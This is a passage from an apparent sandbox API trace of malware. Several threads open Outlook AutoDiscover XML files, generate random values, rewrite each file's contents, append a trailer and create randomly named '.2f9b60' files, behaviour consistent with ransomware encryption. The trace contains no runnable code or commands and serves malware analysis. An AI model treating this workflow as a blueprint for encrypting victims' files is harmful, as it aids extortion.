SourceString="912c3beade7db116009b992d57065d385465d6cf75da422f" | out: DestinationString="912c3beade7db116009b992d57065d385465d6cf75da422f") [0235.499] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f38fbf8, SourceString="912c3beade7db116009b992d57065d385465d6cf75da422f", AllocateDestinationString=1 | out: DestinationString="912c3beade7db116009b992d57065d385465d6cf75da422f") returned 0x0 [0235.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310ecd0 [0235.499] wcscat (in: _Dest=0x431f5fe0, _Source="912c3beade7d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d" [0235.500] wcscat (in: _Dest=0x431f5fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d.2f9b60" [0235.500] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d.2f9b60", NtPathName=0x2f38fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\912c3beade7d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x118d60 Thread: id = 3840 os_tid = 0x10ac [0227.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml")) returned 0x20 [0229.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML", dwFileAttributes=0x20) returned 1 [0229.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.FR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.fr.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1078 [0229.341] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x2f9dfd40 | out: lpFileSize=0x2f9dfd40*=804) returned 1 [0229.341] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.341] ReadFile (in: hFile=0x1078, lpBuffer=0x2f9dfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f9dfd08, lpOverlapped=0x0 | out: lpBuffer=0x2f9dfcc0*, lpNumberOfBytesRead=0x2f9dfd08*=0x4, lpOverlapped=0x0) returned 1 [0230.555] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e50 [0230.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262180 [0230.556] NtQuerySystemTime (in: CurrentTime=0x2f9dfc00 | out: CurrentTime=0x2f9dfc00*=132462178345534000) returned 0x0 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x7c8bb0b8 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x1fc7d5d7 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x499ff2c5 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x1e6b455 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x5c375e50 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x70fcaae0 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x70883b58 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x7b2a1969 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x4d6c7291 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x38f4d409 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x1d26084e [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x1be3311b [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x6b255c32 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x614b57a0 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x303e2af8 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x260164da [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x302ded52 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x73536a43 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x7034e5a [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x759281eb [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x50628801 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x74e24c7f [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x3a2d75e4 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x5fe9b63d [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x17fd02a6 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x3c2d1309 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x35c7cbe7 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x45819a58 [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x5b034d5c [0230.556] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x31a0b113 [0230.557] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x3ca0f606 [0230.557] RtlRandomEx (in: Seed=0x2f9dfbf0 | out: Seed=0x2f9dfbf0) returned 0x412564c [0230.564] ReadFile (in: hFile=0x1078, lpBuffer=0x423d79b0, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x2f9dfbf0, lpOverlapped=0x0 | out: lpBuffer=0x423d79b0*, lpNumberOfBytesRead=0x2f9dfbf0*=0x324, lpOverlapped=0x0) returned 1 [0230.564] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.564] WriteFile (in: hFile=0x1078, lpBuffer=0x2032bd40*, nNumberOfBytesToWrite=0x324, lpNumberOfBytesWritten=0x2f9dfbf4, lpOverlapped=0x0 | out: lpBuffer=0x2032bd40*, lpNumberOfBytesWritten=0x2f9dfbf4*=0x324, lpOverlapped=0x0) returned 1 [0233.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0233.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0233.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630b0) returned 1 [0233.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2032bd40) returned 1 [0233.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d79b0) returned 1 [0233.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866640) returned 1 [0233.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd978f0) returned 1 [0233.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202630b0 [0233.787] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.787] WriteFile (in: hFile=0x1078, lpBuffer=0x431f0a80*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2f9dfd10, lpOverlapped=0x0 | out: lpBuffer=0x431f0a80*, lpNumberOfBytesWritten=0x2f9dfd10*=0x10a, lpOverlapped=0x0) returned 1 [0235.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0235.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616d0) returned 1 [0235.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0235.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0235.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263470) returned 1 [0235.924] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.925] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad320 [0235.925] sprintf (in: _Dest=0x431ad320, _Format="%c%c" | out: _Dest="20") returned 2 [0235.925] sprintf (in: _Dest=0x431ad322, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.925] sprintf (in: _Dest=0x431ad324, _Format="%c%c" | out: _Dest="a9") returned 2 [0235.925] sprintf (in: _Dest=0x431ad326, _Format="%c%c" | out: _Dest="36") returned 2 [0235.925] sprintf (in: _Dest=0x431ad328, _Format="%c%c" | out: _Dest="15") returned 2 [0235.925] sprintf (in: _Dest=0x431ad32a, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.925] sprintf (in: _Dest=0x431ad32c, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.925] sprintf (in: _Dest=0x431ad32e, _Format="%c%c" | out: _Dest="b0") returned 2 [0235.925] sprintf (in: _Dest=0x431ad330, _Format="%c%c" | out: _Dest="81") returned 2 [0235.925] sprintf (in: _Dest=0x431ad332, _Format="%c%c" | out: _Dest="33") returned 2 [0235.925] sprintf (in: _Dest=0x431ad334, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.925] sprintf (in: _Dest=0x431ad336, _Format="%c%c" | out: _Dest="43") returned 2 [0235.925] sprintf (in: _Dest=0x431ad338, _Format="%c%c" | out: _Dest="26") returned 2 [0235.925] sprintf (in: _Dest=0x431ad33a, _Format="%c%c" | out: _Dest="6e") returned 2 [0235.925] sprintf (in: _Dest=0x431ad33c, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.925] sprintf (in: _Dest=0x431ad33e, _Format="%c%c" | out: _Dest="a0") returned 2 [0235.925] sprintf (in: _Dest=0x431ad340, _Format="%c%c" | out: _Dest="2f") returned 2 [0235.925] sprintf (in: _Dest=0x431ad342, _Format="%c%c" | out: _Dest="12") returned 2 [0235.925] sprintf (in: _Dest=0x431ad344, _Format="%c%c" | out: _Dest="84") returned 2 [0235.925] sprintf (in: _Dest=0x431ad346, _Format="%c%c" | out: _Dest="0f") returned 2 [0235.925] sprintf (in: _Dest=0x431ad348, _Format="%c%c" | out: _Dest="96") returned 2 [0235.925] sprintf (in: _Dest=0x431ad34a, _Format="%c%c" | out: _Dest="62") returned 2 [0235.925] sprintf (in: _Dest=0x431ad34c, _Format="%c%c" | out: _Dest="45") returned 2 [0235.925] sprintf (in: _Dest=0x431ad34e, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.925] RtlInitAnsiString (in: DestinationString=0x2f9dfd88, SourceString="204da936156f5bb08133d243266e9fa02f12840f966245eb" | out: DestinationString="204da936156f5bb08133d243266e9fa02f12840f966245eb") [0235.925] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f9dfd58, SourceString="204da936156f5bb08133d243266e9fa02f12840f966245eb", AllocateDestinationString=1 | out: DestinationString="204da936156f5bb08133d243266e9fa02f12840f966245eb") returned 0x0 [0235.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310ef70 [0235.926] wcscat (in: _Dest=0x1ce17bb0, _Source="204da936156f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f" [0235.926] wcscat (in: _Dest=0x1ce17bb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f.2f9b60" [0235.926] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f.2f9b60", NtPathName=0x2f9dfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\204da936156f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4205eb40 Thread: id = 3841 os_tid = 0x113c [0227.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml")) returned 0x20 [0229.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML", dwFileAttributes=0x20) returned 1 [0229.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.HK.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.hk.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xad4 [0229.277] GetFileSizeEx (in: hFile=0xad4, lpFileSize=0x2faef7e0 | out: lpFileSize=0x2faef7e0*=806) returned 1 [0229.277] SetFilePointerEx (in: hFile=0xad4, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.277] ReadFile (in: hFile=0xad4, lpBuffer=0x2faef760, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2faef7a8, lpOverlapped=0x0 | out: lpBuffer=0x2faef760*, lpNumberOfBytesRead=0x2faef7a8*=0x4, lpOverlapped=0x0) returned 1 [0230.684] SetFilePointerEx (in: hFile=0xad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264010 [0230.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637d0 [0230.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260800 [0230.685] NtQuerySystemTime (in: CurrentTime=0x2faef6a0 | out: CurrentTime=0x2faef6a0*=132462178346782000) returned 0x0 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x5035d014 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x743f2739 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x34d9f654 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x1fd870ad [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x7068628e [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x42c81395 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x40010da [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x1580543 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x18a911b8 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x74b3cca0 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x1ffa2595 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x26a75e37 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x154fd76e [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x35f3e414 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x62c386c [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x25582458 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x57d3af99 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x22001de0 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x4f6a0845 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x1b97f2c [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x4040d0ae [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x4f602085 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x3c668b6c [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x338effa3 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x83ef832 [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x6b928c3e [0230.685] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x2523b55a [0230.686] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x14e7455c [0230.686] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x538f3db1 [0230.686] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x71e49e1f [0230.686] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x414a18d3 [0230.686] RtlRandomEx (in: Seed=0x2faef690 | out: Seed=0x2faef690) returned 0x1ffa2595 [0230.714] ReadFile (in: hFile=0xad4, lpBuffer=0x42f7f4c0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2faef690, lpOverlapped=0x0 | out: lpBuffer=0x42f7f4c0*, lpNumberOfBytesRead=0x2faef690*=0x326, lpOverlapped=0x0) returned 1 [0230.714] SetFilePointerEx (in: hFile=0xad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.714] WriteFile (in: hFile=0xad4, lpBuffer=0x42fb0190*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2faef694, lpOverlapped=0x0 | out: lpBuffer=0x42fb0190*, lpNumberOfBytesWritten=0x2faef694*=0x326, lpOverlapped=0x0) returned 1 [0233.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0233.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d60 [0233.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d60) returned 1 [0233.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42fb0190) returned 1 [0233.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42f7f4c0) returned 1 [0233.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866d40) returned 1 [0233.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0233.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261d60 [0233.842] SetFilePointerEx (in: hFile=0xad4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.842] WriteFile (in: hFile=0xad4, lpBuffer=0x431f2340*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2faef7b0, lpOverlapped=0x0 | out: lpBuffer=0x431f2340*, lpNumberOfBytesWritten=0x2faef7b0*=0x10a, lpOverlapped=0x0) returned 1 [0236.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0236.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0236.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262360) returned 1 [0236.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262360 [0236.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262030 [0236.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262030) returned 1 [0236.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0236.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ace20 [0236.096] sprintf (in: _Dest=0x431ace20, _Format="%c%c" | out: _Dest="cf") returned 2 [0236.096] sprintf (in: _Dest=0x431ace22, _Format="%c%c" | out: _Dest="91") returned 2 [0236.096] sprintf (in: _Dest=0x431ace24, _Format="%c%c" | out: _Dest="39") returned 2 [0236.096] sprintf (in: _Dest=0x431ace26, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.096] sprintf (in: _Dest=0x431ace28, _Format="%c%c" | out: _Dest="32") returned 2 [0236.096] sprintf (in: _Dest=0x431ace2a, _Format="%c%c" | out: _Dest="88") returned 2 [0236.096] sprintf (in: _Dest=0x431ace2c, _Format="%c%c" | out: _Dest="df") returned 2 [0236.096] sprintf (in: _Dest=0x431ace2e, _Format="%c%c" | out: _Dest="87") returned 2 [0236.096] sprintf (in: _Dest=0x431ace30, _Format="%c%c" | out: _Dest="95") returned 2 [0236.096] sprintf (in: _Dest=0x431ace32, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.096] sprintf (in: _Dest=0x431ace34, _Format="%c%c" | out: _Dest="12") returned 2 [0236.097] sprintf (in: _Dest=0x431ace36, _Format="%c%c" | out: _Dest="c5") returned 2 [0236.097] sprintf (in: _Dest=0x431ace38, _Format="%c%c" | out: _Dest="88") returned 2 [0236.097] sprintf (in: _Dest=0x431ace3a, _Format="%c%c" | out: _Dest="29") returned 2 [0236.097] sprintf (in: _Dest=0x431ace3c, _Format="%c%c" | out: _Dest="b3") returned 2 [0236.097] sprintf (in: _Dest=0x431ace3e, _Format="%c%c" | out: _Dest="c4") returned 2 [0236.097] sprintf (in: _Dest=0x431ace40, _Format="%c%c" | out: _Dest="0b") returned 2 [0236.097] sprintf (in: _Dest=0x431ace42, _Format="%c%c" | out: _Dest="46") returned 2 [0236.097] sprintf (in: _Dest=0x431ace44, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.097] sprintf (in: _Dest=0x431ace46, _Format="%c%c" | out: _Dest="a7") returned 2 [0236.097] sprintf (in: _Dest=0x431ace48, _Format="%c%c" | out: _Dest="39") returned 2 [0236.097] sprintf (in: _Dest=0x431ace4a, _Format="%c%c" | out: _Dest="eb") returned 2 [0236.097] sprintf (in: _Dest=0x431ace4c, _Format="%c%c" | out: _Dest="2a") returned 2 [0236.097] sprintf (in: _Dest=0x431ace4e, _Format="%c%c" | out: _Dest="51") returned 2 [0236.097] RtlInitAnsiString (in: DestinationString=0x2faef828, SourceString="cf9139a43288df87952c12c58829b3c40b46c8a739eb2a51" | out: DestinationString="cf9139a43288df87952c12c58829b3c40b46c8a739eb2a51") [0236.097] RtlAnsiStringToUnicodeString (in: DestinationString=0x2faef7f8, SourceString="cf9139a43288df87952c12c58829b3c40b46c8a739eb2a51", AllocateDestinationString=1 | out: DestinationString="cf9139a43288df87952c12c58829b3c40b46c8a739eb2a51") returned 0x0 [0236.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x431a05c0 [0236.098] wcscat (in: _Dest=0x431f49e0, _Source="cf9139a43288" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288" [0236.098] wcscat (in: _Dest=0x431f49e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288.2f9b60" [0236.098] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288.2f9b60", NtPathName=0x2faef7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\cf9139a43288.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x43100120 Thread: id = 3842 os_tid = 0x1208 [0227.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml")) returned 0x20 [0229.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML", dwFileAttributes=0x20) returned 1 [0229.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.IE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ie.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1a60 [0229.276] GetFileSizeEx (in: hFile=0x1a60, lpFileSize=0x2f6df920 | out: lpFileSize=0x2f6df920*=810) returned 1 [0229.276] SetFilePointerEx (in: hFile=0x1a60, liDistanceToMove=0x326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.276] ReadFile (in: hFile=0x1a60, lpBuffer=0x2f6df8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f6df8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f6df8a0*, lpNumberOfBytesRead=0x2f6df8e8*=0x4, lpOverlapped=0x0) returned 1 [0230.477] SetFilePointerEx (in: hFile=0x1a60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0230.477] 